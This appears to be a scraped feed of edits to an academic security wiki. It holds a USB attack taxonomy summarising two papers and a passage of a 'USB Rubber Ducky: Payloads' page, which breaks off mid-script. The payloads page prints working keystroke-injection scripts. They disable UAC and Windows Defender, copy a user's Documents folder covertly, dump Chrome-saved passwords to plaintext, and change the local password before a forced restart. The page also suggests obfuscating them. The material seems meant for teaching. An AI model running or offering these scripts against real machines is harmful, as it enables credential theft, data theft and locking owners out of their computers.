## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;usbcametobe&amp;quot;&amp;gt;[https://spectrum.ieee.org/how-usb-came-to-be Goodrich, Joanna. &amp;quot;How USB Came to Be.&amp;quot; IEEE Spectrum, 22 February 2022. Accessed 22 September 2024] &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;&amp;gt; Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;&amp;gt; Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17156</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17156"/>
		<updated>2024-12-16T15:38:37Z</updated>

		<summary type="html">&lt;p&gt;TLee: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995&amp;lt;ref name=&amp;quot;usbcametobe&amp;quot;/&amp;gt;, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;. This article provides an overview of how the variety of existing USB attacks can be categorized by the USB attack taxonomy. For indepth details, please refer to the respective work. The graphics are a reconstruction of the original graphics in the respective papers.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;/&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== USB Attack Taxonomy Variants==&lt;br /&gt;
&lt;br /&gt;
=== Taxonomy based on the required hardware&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
=== Taxonomy based on attack characteristics&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;/&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3:  By Mamchenko and Sabanov (2019) analyzed cyberattacks- and USB-based attacks taxonomies&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;/&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;usbcametobe&amp;quot;&amp;gt;[https://spectrum.ieee.org/how-usb-came-to-be Goodrich, Joanna. &amp;quot;How USB Came to Be.&amp;quot; IEEE Spectrum, 22 February 2022. Accessed 22 September 2024] &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;&amp;gt; Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;&amp;gt; Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=17110</id>
		<title>USB Rubber Ducky: Payloads</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=17110"/>
		<updated>2024-12-16T00:01:46Z</updated>

		<summary type="html">&lt;p&gt;TLee: /* Chrome browser data exfiltration and changing the machine’s local users password */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
In this documentation we will show you examples for the usage of the USB Rubber Ducky on Windows 10 hosts.&lt;br /&gt;
There are many of ready-made Ducky Scripts found at:&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://github.com/hak5/usbrubberducky-payloads&lt;br /&gt;
wayback: http://web.archive.org/web/20220421035128/https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky#DuckyFlasher_Utility&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Article on the basics of the device: [[Hak5 Rubber Ducky]]&lt;br /&gt;
* If you need a different Rubber Ducky Firmware follow this guide: [[USB Rubber Ducky – Firmware Update]].&lt;br /&gt;
* [https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-tm-quick-reference Ducky Script Quick Reference].&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All scripts have a DELAY 3000 at the start which means a delay of 30000ms / 30s to make sure that the target PC has time to set up the HID driver. The delays needed can vary, depending on the target host. The start delay can potentially be reduced to DELAY 1000.&lt;br /&gt;
The scripts could be further improved by adding obfuscation methods to the code. Terminal windows can be changed in colour and size to make them less obvious and much harder to read. USB Rubber Ducky can also be used to play harmless pranks on your colleagues and friends. Just be sure to clue them in beforehand and don’t let them panic.&lt;br /&gt;
&lt;br /&gt;
=== Hello World! ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
Like in all programming languages a basic hello world can be used to get to know the basic functionalities of the system. The following code is used to make a Windows PC open notepad, write “Hello World!” in large letters and save the file to the default directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 2000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING c:\windows\notepad.exe&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
ALT o&lt;br /&gt;
STRING f&lt;br /&gt;
TAB&lt;br /&gt;
TAB&lt;br /&gt;
STRING 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Hello World!&lt;br /&gt;
CTRL s&lt;br /&gt;
STRING totallynotavirus.txt&lt;br /&gt;
ENTER&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disable Windows Defender ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script is used to disable Windows User Account Control first and then disable all functionalities of the Windows Defender. This could be potentially used to prepare for a second stage of a multi-stage attack. It makes heavy use of menu navigation (Arrow keys, Tabs) and the Windows 10 Search menu. The value of the DELAY commands could be further reduced if used on a fast target host. Note that the script leaves no open windows after concluding its actions.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
REM Disabling User Account Control&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING uac&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
REM Disabling Windows Defender&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING virus pro&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
ALT F4	&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy Documents Folder to Ducky ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Twin Duck&lt;br /&gt;
&lt;br /&gt;
Before using this script, the USB Rubber Ducky must be updated with the Twin Duck firmware. Using this firmware, the Rubber Ducky acts both as a HID keyboard and a USB storage device. The script uses the Windows &#039;&#039;Run&#039;&#039; application to open the &#039;&#039;Documents&#039;&#039; directory and copies all its contents to the storage portion of the Ducky. Note that this script assumes that the storage device will be assigned the drive letter D and must be adjusted if reconnaissance shows another letter would be more likely. The script ends with locking the screen to better hide the copying process.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 300&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 100&lt;br /&gt;
STRING documents&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL a&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL c&lt;br /&gt;
DELAY 100&lt;br /&gt;
ALT F4&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 300&lt;br /&gt;
STRING d:\&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL v&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI D&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI l&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fake Update Screen ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script launches a website that fakes the Windows update screen in the systems default internet browser and sets it to Fullscreen mode. It can’t be easily exited by hitting the Escape-key and hitting the Enter-key results in a fake bluescreen.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING https://www.fakeupdate.net/win10ue/&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
F11&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Maximum Volume Autoplay Audio ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script showcases how Ducky Script can use the console to create Visual Basic Script files (*.vbs) that can be used to create endless loops of code. It uses the command &amp;lt;code&amp;gt;copy con&amp;lt;/code&amp;gt; to create two script files. The first script file is used to create a Windows Media Player object to play a sound file from start to finish from a provided online source. The second script creates a Windows Script Host Shell object that gives the “Volume Up”-command in an endless loop. The only way to end these scripts is by using the task manager or by restarting the system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cmd&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING del %tmp%\rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING del %tmp%\volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cd %tmp% &amp;amp;&amp;amp; copy con rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While true&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Dim oPlayer&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set oPlayer = CreateObject(&amp;quot;WMPlayer.OCX&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.URL = &amp;quot;http://tinyurl.com/s63ve48&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.controls.play&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While oPlayer.playState &amp;lt;&amp;gt; 1 &#039; 1 = Stopped&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WScript.Sleep 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.close&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING copy con volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING do&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set WshShell = CreateObject(&amp;quot;WScript.Shell&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WshShell.SendKeys(chr(&amp;amp;hAF))&lt;br /&gt;
ENTER&lt;br /&gt;
STRING loop&lt;br /&gt;
ENTER&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING start rickyou.vbs &amp;amp;&amp;amp; volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chrome browser data exfiltration and changing the machine’s local users password ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
In this demo the USB Rubber Ducky targets a Windows 10 host, that has a local user with administrative rights.&lt;br /&gt;
In a first step it graps the passwords stored in the Chrome browser’s password manager and outputs it in plaintext in a text file, stored on the local host machine’s download folder. In the second step it changes the host machine’s local user login password and restarts the computer.&lt;br /&gt;
&lt;br /&gt;
The attack exploits a password recovery tool. It downloads, installs and excecutes it. The file &lt;br /&gt;
is protected against a direct downlad via link and with the necessity for credential inputs when downloading and extracting it. The selenium script imitates an actual user, clicking on the link in order to achieve the download, and subsequently navigating through cookies consentment and random and different add pop-ups, before the credential input can be handeled. A further challenge in creating the script was that the ads disappeared when recognizing that development tools were opened.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Target Host:&#039;&#039;&#039;&lt;br /&gt;
* OS: Windows 10&lt;br /&gt;
* Software: Chrome browser&lt;br /&gt;
* Local user with administrative rights&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Pre-installations and setup:&#039;&#039;&#039;&lt;br /&gt;
* For automated browser navigation: [https://www.selenium.dev/ Selenium]&lt;br /&gt;
* Selenium script file on the host&lt;br /&gt;
* [https://developer.chrome.com/docs/chromedriver/downloads?hl=de Chromedriver], according to the Chrome browser version on the target host&lt;br /&gt;
* For file extraction: [https://www.7-zip.org/ 7-zip]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
REM Chrome browser user passwords exfiltration and local user&#039;s password change&lt;br /&gt;
REM 1. Part: Chrome browser user passwords exfiltration&lt;br /&gt;
&lt;br /&gt;
REM Open PowerShell and executing the selenium script&lt;br /&gt;
DELAY 1000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 1000&lt;br /&gt;
STRING powershell -ExecutionPolicy Bypass -File path\to\browsernavigation.ps1&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 20000&lt;br /&gt;
STRING download&lt;br /&gt;
TAB&lt;br /&gt;
STRING nirsoft123!&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
DELAY 8000&lt;br /&gt;
&lt;br /&gt;
DELAY 3000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING powershell&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
&lt;br /&gt;
REM Get the current user&#039;s Downloads folder path&lt;br /&gt;
STRING $DownloadsPath = [System.Environment]::GetFolderPath(&#039;MyDocuments&#039;).Replace(&#039;Documents&#039;, &#039;Downloads&#039;)&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
&lt;br /&gt;
REM Unzip ChromePass file&lt;br /&gt;
STRING &amp;amp; &amp;quot;pathto\7-Zip\7z.exe&amp;quot; x &amp;quot;$DownloadsPath\passreccommandline.zip&amp;quot; -o&amp;quot;$DownloadsPath&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
STRING nirsoft123!&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
&lt;br /&gt;
REM Execute ChromePassCLI and save the extracted passwords in the Downloads folder&lt;br /&gt;
STRING Start-Process -FilePath &amp;quot;$DownloadsPath\WebBrowserPassView.exe&amp;quot; -ArgumentList &amp;quot;/stext $DownloadsPath\chrome_passwords.txt&amp;quot; -NoNewWindow -Wait&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 3000&lt;br /&gt;
&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
REM 2. Part: Change the password of the Windows user&lt;br /&gt;
DEFINE #NEW_PASSWORD newpassword&lt;br /&gt;
&lt;br /&gt;
REM Execute Powershell with administrative rights&lt;br /&gt;
DELAY 1000&lt;br /&gt;
GUI x&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING a&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFTARROW&lt;br /&gt;
DELAY 500&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
DELAY 3000&lt;br /&gt;
STRING net user $env:USERNAME #NEW_PASSWORD&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 2000&lt;br /&gt;
&lt;br /&gt;
STRING Restart-Computer -Force&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Selenium script: browsernavigation.ps1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Load Selenium Modul&lt;br /&gt;
Import-Module Selenium&lt;br /&gt;
&lt;br /&gt;
# Start Driver&lt;br /&gt;
$chromePath = &amp;quot;C:\Program Files\Google\Chrome\Application\chrome.exe&amp;quot; &lt;br /&gt;
&lt;br /&gt;
# Set up Chrome options&lt;br /&gt;
$chromeOptions = New-Object OpenQA.Selenium.Chrome.ChromeOptions&lt;br /&gt;
$chromeOptions.BinaryLocation = $chromePath&lt;br /&gt;
&lt;br /&gt;
# Define path to new ChromeDriver&lt;br /&gt;
$chromeDriverPath = &amp;quot;C:\Users\User\Downloads\chromedriver-win64\chromedriver-win64&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Set up ChromeDriverService to use updated ChromeDriver&lt;br /&gt;
$service = [OpenQA.Selenium.Chrome.ChromeDriverService]::CreateDefaultService($chromeDriverPath)&lt;br /&gt;
&lt;br /&gt;
# Start ChromeDriver&lt;br /&gt;
$driver = New-Object OpenQA.Selenium.Chrome.ChromeDriver($service, $chromeOptions)&lt;br /&gt;
&lt;br /&gt;
